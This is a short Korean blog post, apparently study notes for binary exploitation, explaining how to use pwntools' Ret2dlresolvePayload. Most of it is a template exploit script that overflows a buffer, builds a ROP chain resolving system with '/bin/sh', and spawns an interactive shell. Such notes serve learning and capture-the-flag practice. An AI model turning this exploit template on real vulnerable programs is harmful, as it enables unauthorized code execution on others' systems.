Technique
pwntools - ret2dlresolve
Rasser
2021. 12. 13. 19:34
728x90
Return to dl resolve 공격을 할때, 공격을 좀더 쉽게 해주는 라이브러리? 이다.
https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html
pwnlib.rop.ret2dlresolve — Return to dl_resolve — pwntools 4.7.0 documentation
A Ret2dlresolvePayload object which can be passed to rop.ret2dlresolve
docs.pwntools.com
from pwn import *
context.binary = elf = ELF('바이너리')
rop = ROP(context.binary)
dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh\x00"]) # (바이너리, 찾고자 하는 함수, 함수의 인자)
rop.gets(dlresolve.data_addr) # 함수를 실행. 예를들어 read로 입력을 받으면, rop.read(0, buf) 이렇게
rop.ret2dlresolve(dlresolve) # rop를 위해 더해준다?
raw_rop = rop.chain()
p = elf.process()
p.sendline(b'A'*0x88+raw_rop) # ret에 ropchain을 더해준다.
p.sendline(dlresolve.payload) # 다음으로 read나 gets가 실행될때, payload를 입력
p.interactive()
사용 방법은 다음 코드를 참조
728x90